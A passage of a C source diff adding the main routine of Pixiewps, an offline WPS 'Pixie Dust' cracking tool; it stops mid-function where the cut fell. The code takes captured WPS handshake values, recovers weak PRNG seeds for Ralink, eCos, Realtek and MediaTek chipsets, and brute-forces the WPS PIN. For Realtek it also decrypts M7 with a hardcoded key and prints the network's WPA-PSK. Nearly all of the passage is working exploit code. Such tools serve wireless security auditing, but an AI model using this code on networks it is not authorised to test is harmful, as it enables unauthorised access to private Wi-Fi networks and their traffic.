**argv) +{ + struct global *wps; + if ((wps = calloc(1, sizeof(struct global)))) { + unsigned int cores = hardware_concurrency(); + wps->jobs = cores == 0 ? 1 : cores; + wps->mode_auto = 1; + wps->verbosity = 3; + wps->error = calloc(256, 1); + if (!wps->error) + goto memory_err; + wps->error[0] = '\n'; + } + else { + +memory_err: + wps_free(wps); + fprintf(stderr, "\n [X] Memory allocation error!\n"); + return MEM_ERROR; + } + + time_t start_p = (time_t) -1, end_p = (time_t) -1; + struct timeval t_start, t_end; + + int opt = 0; + int long_index = 0; + uint_fast8_t c = 0; + opt = getopt_long(argc, argv, option_string, long_options, &long_index); + while (opt != -1) { + c++; + switch (opt) { + case 'j': + if (get_int(optarg, &wps->jobs) != 0 || wps->jobs < 1) { + snprintf(wps->error, 256, "\n [!] Bad number of jobs -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'e': + wps->pke = malloc(WPS_PKEY_LEN); + if (!wps->pke) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->pke, WPS_PKEY_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad enrollee public key -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'r': + wps->pkr = malloc(WPS_PKEY_LEN); + if (!wps->pkr) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->pkr, WPS_PKEY_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad registrar public key -- %s\n\n", optarg); + goto usage_err; + } + break; + case 's': + wps->e_hash1 = malloc(WPS_HASH_LEN); + if (!wps->e_hash1) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_hash1, WPS_HASH_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'z': + wps->e_hash2 = malloc(WPS_HASH_LEN); + if (!wps->e_hash2) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_hash2, WPS_HASH_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'a': + wps->authkey = malloc(WPS_AUTHKEY_LEN); + if (!wps->authkey) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->authkey, WPS_HASH_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad authentication session key -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'n': + wps->e_nonce = malloc(WPS_NONCE_LEN); + if (!wps->e_nonce) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_nonce, WPS_NONCE_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad enrollee nonce -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'm': + wps->r_nonce = malloc(WPS_NONCE_LEN); + if (!wps->r_nonce) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->r_nonce, WPS_NONCE_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad registrar nonce -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'b': + wps->e_bssid = malloc(WPS_BSSID_LEN); + if (!wps->e_bssid) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_bssid, WPS_BSSID_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad enrollee MAC address -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'S': + wps->small_dh_keys = 1; + break; + case 'f': + wps->bruteforce = 1; + break; + case 'l': + //wps->anylength = 1; + break; + case 'o': + if (!freopen(optarg, "w", stdout)) { + snprintf(wps->error, 256, "\n [!] Failed to open file for writing -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'v': + if (get_int(optarg, &wps->verbosity) != 0 || wps->verbosity < 1 || wps->verbosity > 3) { + snprintf(wps->error, 256, "\n [!] Bad verbosity level -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'V': + if (c > 1) { /* If --version is used then no other argument should be supplied */ + snprintf(wps->error, 256, "\n [!] Bad use of argument --version (-V)!\n\n"); + goto usage_err; + } + else { + unsigned int cores = hardware_concurrency(); + struct timeval t_current; + gettimeofday(&t_current, 0); + char buffer[30]; + fprintf(stderr, "\n "); + printf("Pixiewps %s", LONG_VERSION); fflush(stdout); + fprintf(stderr, "\n\n" + " [*] System time: %lu (%s UTC)\n" + " [*] Number of cores available: %u\n\n", + (unsigned long) t_current.tv_sec, + format_time(t_current.tv_sec, buffer), cores == 0 ? 1 : cores); + free(wps->error); + free(wps); + return ARG_ERROR; + } + case 'h': + goto usage_err; + break; + case 0 : + if (!strcmp("help", long_options[long_index].name)) { + fprintf(stderr, v_usage, SHORT_VERSION, + p_mode_name[RT], + p_mode_name[ECOS_SIMPLE], + p_mode_name[RTL819x], + p_mode_name[ECOS_SIMPLEST], + p_mode_name[ECOS_KNUTH], + p_mode_name[BROADCOM], + p_mode_name[MEDIATEK], + p_mode_name[BROADCOM_MT], + p_mode_name[XORSHIFT32], + p_mode_name[WINCE_LCG], + p_mode_name[NUMRECIPES_LCG] + ); + free(wps->error); + free(wps); + return ARG_ERROR; + } + goto usage_err; + case 1 : + if (!strcmp("mode", long_options[long_index].name)) { + if (parse_mode(optarg, p_mode, MODE_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad modes -- %s\n\n", optarg); + goto usage_err; + } + wps->mode_auto = 0; + break; + } + goto usage_err; + case 2 : + if (!strcmp("start", long_options[long_index].name)) { + if (get_unix_datetime(optarg, &(start_p))) { + snprintf(wps->error, 256, "\n [!] Bad starting point -- %s\n\n", optarg); + goto usage_err; + } + break; + } + goto usage_err; + case 3 : + if (!strcmp("end", long_options[long_index].name)) { + if (get_unix_datetime(optarg, &(end_p))) { + snprintf(wps->error, 256, "\n [!] Bad ending point -- %s\n\n", optarg); + goto usage_err; + } + break; + } + goto usage_err; + case 4 : + if (!strcmp("cstart", long_options[long_index].name)) { + start_p = strtol(optarg, 0, 10); + break; + } + goto usage_err; + case 5 : + if (!strcmp("cend", long_options[long_index].name)) { + end_p = strtol(optarg, 0, 10); + break; + } + goto usage_err; + case '5': + wps->m5_encr = malloc(ENC_SETTINGS_LEN); + if (!wps->m5_encr) + goto memory_err; + if (hex_string_to_byte_array_max(optarg, wps->m5_encr, ENC_SETTINGS_LEN, &wps->m5_encr_len)) { + snprintf(wps->error, 256, "\n [!] Bad m5 encrypted settings -- %s\n\n", optarg); + goto usage_err; + } + break; + case '7': + wps->m7_encr = malloc(ENC_SETTINGS_LEN); + if (!wps->m7_encr) + goto memory_err; + if (hex_string_to_byte_array_max(optarg, wps->m7_encr, ENC_SETTINGS_LEN, &wps->m7_encr_len)) { + snprintf(wps->error, 256, "\n [!] Bad m7 encrypted settings -- %s\n\n", optarg); + goto usage_err; + } + break; + case '?': + default: + fprintf(stderr, "Run %s -h for help.\n", argv[0]); + free(wps->error); + free(wps); + return ARG_ERROR; + } + opt = getopt_long(argc, argv, option_string, long_options, &long_index); + } + + if (argc - optind != 0) { + snprintf(wps->error, 256, "\n [!] Unknown extra argument(s)!\n\n"); + goto usage_err; + } + else { + if (!c) { + +usage_err: + fprintf(stderr, usage, SHORT_VERSION, argv[0], wps->error); + wps_free(wps); + return ARG_ERROR; + } + } + + /* Mode 3 is enforced to make users aware this option is currently only available for RTL819x */ + if (wps->m7_encr) { + if (!wps->pke || !wps->pkr || !wps->e_nonce || !wps->r_nonce || !wps->e_bssid || !is_mode_selected(RTL819x)) { + snprintf(wps->error, 256, "\n [!] Must specify --pke, --pkr, --e-nonce, --r-nonce, --bssid and --mode 3!\n\n"); + goto usage_err; + } + if (memcmp(wps->pke, wps_rtl_pke, WPS_PKEY_LEN)) { + printf("\n Pixiewps %s\n", SHORT_VERSION); + printf("\n [-] Model not supported!\n\n"); + return UNS_ERROR; + } + wps->e_key = malloc(WPS_PKEY_LEN); + if (!wps->e_key) + goto memory_err; + SET_RTL_PRIV_KEY(wps->e_key); + + size_t pkey_len = WPS_PKEY_LEN; + uint8_t *buffer = malloc(WPS_PKEY_LEN); + if (!buffer) + goto memory_err; + + wps->dhkey = malloc(WPS_HASH_LEN); if (!wps->dhkey) goto memory_err; + wps->kdk = malloc(WPS_HASH_LEN); if (!wps->kdk) goto memory_err; + wps->authkey = malloc(WPS_AUTHKEY_LEN); if (!wps->authkey) goto memory_err; + wps->wrapkey = malloc(WPS_KEYWRAPKEY_LEN); if (!wps->wrapkey) goto memory_err; + wps->emsk = malloc(WPS_EMSK_LEN); if (!wps->emsk) goto memory_err; + + gettimeofday(&t_start, 0); + + /* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKr^B mod p) */ + crypto_mod_exp(wps->pkr, WPS_PKEY_LEN, wps->e_key, WPS_PKEY_LEN, dh_group5_prime, WPS_PKEY_LEN, buffer, &pkey_len); + sha256(buffer, WPS_PKEY_LEN, wps->dhkey); + secure_zero(wps->e_key, WPS_PKEY_LEN); free(wps->e_key); wps->e_key = NULL; + + memcpy(buffer, wps->e_nonce, WPS_NONCE_LEN); + memcpy(buffer + WPS_NONCE_LEN, wps->e_bssid, WPS_BSSID_LEN); + memcpy(buffer + WPS_NONCE_LEN + WPS_BSSID_LEN, wps->r_nonce, WPS_NONCE_LEN); + + /* KDK = HMAC-SHA-256{DHKey}(Enrollee nonce || Enrollee MAC || Registrar nonce) */ + hmac_sha256(wps->dhkey, WPS_HASH_LEN, buffer, WPS_NONCE_LEN * 2 + WPS_BSSID_LEN, wps->kdk); + + /* Key derivation function */ + kdf(wps->kdk, buffer); + memcpy(wps->authkey, buffer, WPS_AUTHKEY_LEN); + memcpy(wps->wrapkey, buffer + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN); + memcpy(wps->emsk, buffer + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN); + + /* Decrypt encrypted settings */ + uint8_t *decrypted7 = decrypt_encr_settings(wps->wrapkey, wps->m7_encr, wps->m7_encr_len); + free(wps->m7_encr); wps->m7_encr = NULL; + if (!decrypted7) { + printf("\n Pixiewps %s\n", SHORT_VERSION); + printf("\n [x] Unexpected error while decrypting (--m7-enc)!\n\n"); + free(buffer); + wps_free(wps); + return UNS_ERROR; + } + + uint8_t *decrypted5 = NULL; + if (wps->m5_encr) { + decrypted5 = decrypt_encr_settings(wps->wrapkey, wps->m5_encr, wps->m5_encr_len); + free(wps->m5_encr); wps->m5_encr = NULL; + if (!decrypted5) { + printf("\n Pixiewps %s\n", SHORT_VERSION); + printf("\n [x] Unexpected error while decrypting (--m5-enc)!\n\n"); + secure_zero(decrypted7, wps->m7_encr_len - 16); free(decrypted7); + free(buffer); + wps_free(wps); + return UNS_ERROR; + } + } + + uint_fast8_t pfound = PIN_ERROR; + struct ie_vtag *vtag; + if (decrypted5 && decrypted7 && wps->e_hash1 && wps->e_hash2) { + wps->e_s1 = malloc(WPS_SECRET_NONCE_LEN); if (!wps->e_s1) goto memory_err; + wps->e_s2 = malloc(WPS_SECRET_NONCE_LEN); if (!wps->e_s2) goto memory_err; + wps->psk1 = malloc(WPS_HASH_LEN); if (!wps->psk1) goto memory_err; + wps->psk2 = malloc(WPS_HASH_LEN); if (!wps->psk2) goto memory_err; + wps->empty_psk = malloc(WPS_HASH_LEN); if (!wps->empty_psk) goto memory_err; + + empty_pin_hmac(wps); + + if ((vtag = find_vtag(decrypted5, wps->m5_encr_len - 16, WPS_TAG_E_SNONCE_1, WPS_NONCE_LEN))) { + memcpy(wps->e_s1, vtag->data, WPS_NONCE_LEN); + } + else { + printf("\n Pixiewps %s\n", SHORT_VERSION); + printf("\n [x] Unexpected error (--m5-enc)!\n\n"); + return UNS_ERROR; + } + if ((vtag = find_vtag(decrypted7, wps->m7_encr_len - 16, WPS_TAG_E_SNONCE_2, WPS_NONCE_LEN))) { + memcpy(wps->e_s2, vtag->data, WPS_NONCE_LEN); + } + else { + printf("\n Pixiewps %s\n", SHORT_VERSION); + printf("\n [x] Unexpected error (--m7-enc)!\n\n"); + return UNS_ERROR; + } + + pfound = crack(wps, wps->pin); + } + + struct timeval diff; + gettimeofday(&t_end, 0); + timeval_subtract(&diff, &t_end, &t_start); + + printf("\n Pixiewps %s\n", SHORT_VERSION); + if (wps->verbosity > 1) { + printf("\n [?] Mode: %d (%s)", RTL819x, p_mode_name[RTL819x]); + } + if (wps->verbosity > 2) { + printf("\n [*] DHKey: "); byte_array_print(wps->dhkey, WPS_HASH_LEN); + printf("\n [*] KDK: "); byte_array_print(wps->kdk, WPS_HASH_LEN); + printf("\n [*] AuthKey: "); byte_array_print(wps->authkey, WPS_AUTHKEY_LEN); + printf("\n [*] EMSK: "); byte_array_print(wps->emsk, WPS_EMSK_LEN); + printf("\n [*] KWKey: "); byte_array_print(wps->wrapkey, WPS_KEYWRAPKEY_LEN); + if ((vtag = find_vtag(decrypted7, wps->m7_encr_len - 16, WPS_TAG_KEYWRAP_AUTH, WPS_TAG_KEYWRAP_AUTH_LEN))) { + memcpy(buffer, vtag->data, WPS_TAG_KEYWRAP_AUTH_LEN); + printf("\n [*] KWA: "); byte_array_print(buffer, WPS_TAG_KEYWRAP_AUTH_LEN); + } + if (pfound == PIN_FOUND) { + printf("\n [*] PSK1: "); byte_array_print(wps->psk1, WPS_PSK_LEN); + printf("\n [*] PSK2: "); byte_array_print(wps->psk2, WPS_PSK_LEN); + } + } + if (wps->verbosity > 1) { + if (decrypted5) { + if ((vtag = find_vtag(decrypted5, wps->m5_encr_len - 16, WPS_TAG_E_SNONCE_1, WPS_NONCE_LEN))) { + printf("\n [*] ES1: "); byte_array_print(vtag->data, WPS_NONCE_LEN); + } + } + if ((vtag = find_vtag(decrypted7, wps->m7_encr_len - 16, WPS_TAG_E_SNONCE_2, WPS_NONCE_LEN))) { + printf("\n [*] ES2: "); byte_array_print(vtag->data, WPS_NONCE_LEN); + } + } + if ((vtag = find_vtag(decrypted7, wps->m7_encr_len - 16, WPS_TAG_SSID, 0))) { + int tag_size = end_ntoh16(vtag->len); + memcpy(buffer, vtag->data, tag_size); + buffer[tag_size] = '\0'; + printf("\n [*] SSID: %s", buffer); + } + if (pfound == PIN_FOUND) { + if (wps->pin[0] == '\0') + printf("\n [+] WPS pin: "); + else + printf("\n [+] WPS pin: %s", wps->pin); + } + if ((vtag = find_vtag(decrypted7, wps->m7_encr_len - 16, WPS_TAG_NET_KEY, 0))) { + int tag_size = end_ntoh16(vtag->len); + memcpy(buffer, vtag->data, tag_size); + buffer[tag_size] = '\0'; + printf("\n [+] WPA-PSK: %s", buffer); + } + else { + printf("\n [-] WPA-PSK not found!"); + } + printf("\n\n [*] Time taken: %lu s %lu ms\n\n", (unsigned long)diff.tv_sec, (unsigned long)(diff.tv_usec / 1000)); + + if (decrypted5) { secure_zero(decrypted5, wps->m5_encr_len - 16); free(decrypted5); } + secure_zero(decrypted7, wps->m7_encr_len - 16); free(decrypted7); + free(buffer); + wps_free(wps); + + return 0; + } + + /* If --dh-small is selected then no --pkr should be supplied */ + if (wps->pkr && wps->small_dh_keys) { + snprintf(wps->error, 256, "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n"); + goto usage_err; + } + + /* Either --pkr or --dh-small must be specified */ + if (!wps->pkr && !wps->small_dh_keys) { + snprintf(wps->error, 256, "\n [!] Either --pkr or --dh-small must be specified!\n\n"); + goto usage_err; + } + + /* Checks done, set small keys internally if --pkr = 2 */ + if (wps->pkr && check_small_dh_keys(wps->pkr)) + wps->small_dh_keys = 1; + + /* Not all required arguments have been supplied */ + if (!wps->pke || !wps->e_hash1 || !wps->e_hash2 || !wps->e_nonce || + (!wps->authkey && !((wps->small_dh_keys || !memcmp(wps->pke, wps_rtl_pke, WPS_PKEY_LEN)) + && wps->e_bssid && wps->r_nonce))) { + snprintf(wps->error, 256, "\n [!] Not all required arguments have been supplied!\n\n"); + goto usage_err; + } + + /* Cannot specify --start or --end if --force is selected */ + if (wps->bruteforce && ((start_p != (time_t) -1) || (end_p != (time_t) -1))) { + snprintf(wps->error, 256, "\n [!] Cannot specify --start or --end if --force is selected!\n\n"); + goto usage_err; + } + + DEBUG_PRINT("Debugging enabled"); + + if (wps->mode_auto) { /* Mode auto, order by probability */ + DEBUG_PRINT("Mode is auto (no --mode specified)"); + if (!memcmp(wps->pke, wps_rtl_pke, WPS_PKEY_LEN)) { + p_mode[0] = RTL819x; + p_mode[1] = NONE; + } + else { + p_mode[0] = RT; + p_mode[1] = MEDIATEK; /* MT76xx LFSR fallback after Ralink */ + if ((!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) && + !(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80))) { + p_mode[2] = RTL819x; + p_mode[3] = ECOS_SIMPLE; + p_mode[4] = NONE; + } + else { + p_mode[2] = ECOS_SIMPLE; + p_mode[3] = NONE; + } + } + } + + { + char modes_buf[256]; + size_t offset = 0; + modes_buf[0] = '\0'; + for (int mi = 0; mi < MODE_LEN && p_mode[mi] != NONE; mi++) { + int written = snprintf(modes_buf + offset, sizeof(modes_buf) - offset, + "%s%d (%s)", (mi == 0) ? "" : ", ", + p_mode[mi], p_mode_name[p_mode[mi]]); + if (written < 0 || (size_t)written >= sizeof(modes_buf) - offset) + break; + offset += (size_t)written; + } + DEBUG_PRINT("Modes: %s", modes_buf); + } + + gettimeofday(&t_start, 0); + + if (is_mode_selected(RTL819x)) { /* Ignore --start and --end otherwise */ + + wps->start = t_start.tv_sec + SEC_PER_DAY; + wps->end = t_start.tv_sec - SEC_PER_DAY; + + /* Attributes --start and --end can be switched start > end or end > start */ + if (start_p != (time_t) -1) { + if (end_p != (time_t) -1) { + + /* Attributes --start and --end must be different */ + if (start_p == end_p) { + snprintf(wps->error, 256, "\n [!] Starting and Ending points must be different!\n\n"); + goto usage_err; + } + if (end_p > start_p) { + wps->start = end_p; + wps->end = start_p; + } + else { + wps->start = start_p; + wps->end = end_p; + } + } + else { + if (start_p >= wps->start) { + snprintf(wps->error, 256, "\n [!] Bad Starting point!\n\n"); + goto usage_err; + } + else { + wps->end = start_p; + } + } + } + else { + if (end_p != (time_t) -1) { + if (end_p >= wps->start) { + snprintf(wps->error, 256, "\n [!] Bad Ending point!\n\n"); + goto usage_err; + } + else { + wps->end = end_p; + } + } + else { + if (wps->bruteforce) { + wps->start += SEC_PER_DAY; /* Extra 1 day */ + wps->end = 0; + } + } + } + } + + if (wps->small_dh_keys) { + if (!wps->pkr) { /* Not supplied, set it */ + wps->pkr = malloc(WPS_PKEY_LEN); if (!wps->pkr) goto memory_err; + memset(wps->pkr, 0, WPS_PKEY_LEN - 1); + wps->pkr[WPS_PKEY_LEN - 1] = 0x02; + } + } + + /* If --authkey not supplied, compute (all the required args already checked) */ + if (!wps->authkey) { + uint8_t buffer[WPS_PKEY_LEN]; + wps->dhkey = malloc(WPS_HASH_LEN); if (!wps->dhkey) goto memory_err; + wps->kdk = malloc(WPS_HASH_LEN); if (!wps->kdk) goto memory_err; + + if (wps->small_dh_keys) { + + /* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKe) (g = 2, A = 1, p > 2) */ + sha256(wps->pke, WPS_PKEY_LEN, wps->dhkey); + } + else if (!memcmp(wps->pke, wps_rtl_pke, WPS_PKEY_LEN)) { + size_t pkey_len = WPS_PKEY_LEN; + wps->e_key = malloc(WPS_PKEY_LEN); if (!wps->e_key) goto memory_err; + SET_RTL_PRIV_KEY(wps->e_key); + + /* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKr^B mod p) */ + crypto_mod_exp(wps->pkr, WPS_PKEY_LEN, wps->e_key, WPS_PKEY_LEN, dh_group5_prime, WPS_PKEY_LEN, buffer, &pkey_len); + sha256(buffer, WPS_PKEY_LEN, wps->dhkey); + secure_zero(wps->e_key, WPS_PKEY_LEN); free(wps->e_key); wps->e_key = NULL; + } + + memcpy(buffer, wps->e_nonce, WPS_NONCE_LEN); + memcpy(buffer + WPS_NONCE_LEN, wps->e_bssid, WPS_BSSID_LEN); + memcpy(buffer + WPS_NONCE_LEN + WPS_BSSID_LEN, wps->r_nonce, WPS_NONCE_LEN); + + /* KDK = HMAC-SHA-256{DHKey}(Enrollee nonce || Enrollee MAC || Registrar nonce) */ + hmac_sha256(wps->dhkey, WPS_HASH_LEN, buffer, WPS_NONCE_LEN * 2 + WPS_BSSID_LEN, wps->kdk); + + /* Key derivation function */ + kdf(wps->kdk, buffer); + + wps->authkey = malloc(WPS_AUTHKEY_LEN); if (!wps->authkey) goto memory_err; + memcpy(wps->authkey, buffer, WPS_AUTHKEY_LEN); + + if (wps->verbosity > 2) { /* Keep the keys to show later on exit */ + wps->wrapkey = malloc(WPS_KEYWRAPKEY_LEN); if (!wps->wrapkey) goto memory_err; + wps->emsk = malloc(WPS_EMSK_LEN); if (!wps->emsk) goto memory_err; + memcpy(wps->wrapkey, buffer + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN); + memcpy(wps->emsk, buffer + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN); + } + else { + free(wps->dhkey); wps->dhkey = NULL; + free(wps->kdk); wps->kdk = NULL; + } + } + + /* Allocate memory for E-S1 and E-S2 */ + wps->e_s1 = malloc(WPS_SECRET_NONCE_LEN); if (!wps->e_s1) goto memory_err; + wps->e_s2 = malloc(WPS_SECRET_NONCE_LEN); if (!wps->e_s2) goto memory_err; + + /* Allocate memory for digests */ + wps->psk1 = malloc(WPS_HASH_LEN); if (!wps->psk1) goto memory_err; + wps->psk2 = malloc(WPS_HASH_LEN); if (!wps->psk2) goto memory_err; + wps->empty_psk = malloc(WPS_HASH_LEN); if (!wps->empty_psk) goto memory_err; + + empty_pin_hmac(wps); + + uint_fast8_t k = 0; + uint_fast8_t found_p_mode = NONE; + + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + + /* Attempt special cases first in auto mode */ + if (wps->mode_auto) { + + /* E-S1 = E-S2 = 0, test anyway */ + if (memcmp(wps->pke, wps_rtl_pke, WPS_PKEY_LEN)) { + memset(wps->e_s1, 0, WPS_SECRET_NONCE_LEN); + memset(wps->e_s2, 0, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = RT; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + struct ralink_randstate prng = {0}; + for (int i = WPS_NONCE_LEN; i--; ) + ralink_randstate_restore(&prng, wps->e_nonce[i]); + wps->nonce_seed = prng.sreg; + } + } + + /* E-S1 = E-S2 = N1 */ + if (found_p_mode == NONE) { + memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); + memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = RTL819x; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + } + } + + /* Main loop */ + while (found_p_mode == NONE && k < MODE_LEN && p_mode[k] != NONE) { + + /* 1 */ + if (p_mode[k] == RT) { + + DEBUG_PRINT(" * Mode: %d (%s)", RT, p_mode_name[RT]); + + if (!wps->mode_auto) { + memset(wps->e_s1, 0, WPS_SECRET_NONCE_LEN); + memset(wps->e_s2, 0, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = RT; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + struct ralink_randstate prng = {0}; + for (int i = WPS_NONCE_LEN; i--; ) + ralink_randstate_restore(&prng, wps->e_nonce[i]); + wps->nonce_seed = prng.sreg; + } + } + + if (found_p_mode == NONE) { + struct ralink_randstate prng = {0}; + for (int i = WPS_NONCE_LEN; i--; ) + ralink_randstate_restore(&prng, wps->e_nonce[i]); + const uint32_t saved_sreg = prng.sreg; + + int j; + for (j = 0; j < WPS_NONCE_LEN; j++) + if (ralink_randbyte(&prng) != wps->e_nonce[j]) break; + + if (j == WPS_NONCE_LEN) { + prng.sreg = saved_sreg; + wps->nonce_seed = prng.sreg; + for (int i = WPS_SECRET_NONCE_LEN; i--; ) + wps->e_s2[i] = ralink_randbyte_backwards(&prng); + wps->s2_seed = prng.sreg; + for (int i = WPS_SECRET_NONCE_LEN; i--; ) + wps->e_s1[i] = ralink_randbyte_backwards(&prng); + wps->s1_seed = prng.sreg; + + DEBUG_PRINT("Seed found"); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = RT; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = RT; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + } + + /* 2 */ + } + else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", ECOS_SIMPLE, p_mode_name[ECOS_SIMPLE]); + + uint32_t known = wps->e_nonce[0] << 25; /* Reduce entropy from 32 to 25 bits */ + uint32_t seed, counter = 0; + while (counter < 0x02000000) { + int i; + seed = known | counter; + for (i = 1; i < WPS_NONCE_LEN; i++) { + if (wps->e_nonce[i] != (uint8_t)(ecos_rand_simple(&seed) & 0xff)) + break; + } + if (i == WPS_NONCE_LEN) { /* Seed found */ + wps->s1_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ + wps->e_s1[i] = (uint8_t)(ecos_rand_simple(&seed) & 0xff); + wps->s2_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ + wps->e_s2[i] = (uint8_t)(ecos_rand_simple(&seed) & 0xff); + + break; + } + counter++; + } + + if (wps->s2_seed) { /* Seed found */ + DEBUG_PRINT("Seed found"); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = ECOS_SIMPLE; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = ECOS_SIMPLE; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 3 */ + } + else if (p_mode[k] == RTL819x && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", RTL819x, p_mode_name[RTL819x]); + + if (!wps->mode_auto) { + memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); + memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = RTL819x; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + } + + if (found_p_mode == NONE) { + if (wps->small_dh_keys || check_small_dh_keys(wps->pkr)) { + if (!wps->warning) { + wps->warning = calloc(256, 1); + if (!wps->warning) + goto memory_err; + snprintf(wps->warning, 256, " [!] Small DH keys is not supported for mode %d!\n\n", RTL819x); + } + } + else { + + /* Check if the sequence may actually be generated by current random function */ + if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) && + !(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) { + + init_crack_jobs(wps, RTL819x); + + #if DEBUG + { + char buffer[30]; + printf("\n [DEBUG] %s:%d:%s(): Start: %10lu (%s UTC)", + __FILE__, __LINE__, __func__, (unsigned long) wps->start, + format_time(wps->start, buffer)); + printf("\n [DEBUG] %s:%d:%s(): End: %10lu (%s UTC)", + __FILE__, __LINE__, __func__, (unsigned long) wps->end, + format_time(wps->end, buffer)); + fflush(stdout); + } + #endif + + if (collect_crack_jobs(&wps->nonce_seed)) { /* Seed found */ + found_p_mode = find_rtl_es(wps); + } + + if (found_p_mode == NONE && !wps->bruteforce) { + if (!wps->warning) { + wps->warning = calloc(256, 1); + if (!wps->warning) + goto memory_err; + snprintf(wps->warning, 256, " [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.\n\n"); + } + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + } + } + + /* 4 */ + } + else if (p_mode[k] == ECOS_SIMPLEST && wps->e_nonce) { + + DEBUG_PRINT(" * Mode: %d (%s)", ECOS_SIMPLEST, p_mode_name[ECOS_SIMPLEST]); + + init_crack_jobs(wps, ECOS_SIMPLEST); + + if (collect_crack_jobs(&wps->nonce_seed)) { + int i; + uint32_t seed = wps->nonce_seed; + + for (i = 0; i < WPS_NONCE_LEN; i++) + ecos_rand_simplest(&seed); + + wps->s1_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = (uint8_t) ecos_rand_simplest(&seed); + + wps->s2_seed = seed; + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = (uint8_t) ecos_rand_simplest(&seed); + + DEBUG_PRINT("Seed found (%10u)", wps->nonce_seed); + DEBUG_PRINT_ATTEMPT(wps->e_s1, wps->e_s2); + if (crack(wps, wps->pin) == PIN_FOUND) { + found_p_mode = ECOS_SIMPLEST; + DEBUG_PRINT("Pin found (%8s)", wps->pin); + } + else { + wps->nonce_match = ECOS_SIMPLEST; + wps->nonce_seed = 0; + wps->s1_seed = 0; + wps->s2_seed = 0; + } + } + else { + DEBUG_PRINT("Nonce doesn't appear to be generated by this mode, skipping..."); + } + + /* 5 */ + } + else if (p_mode[k] == ECOS_KNUTH && wps->e_nonce) { + + 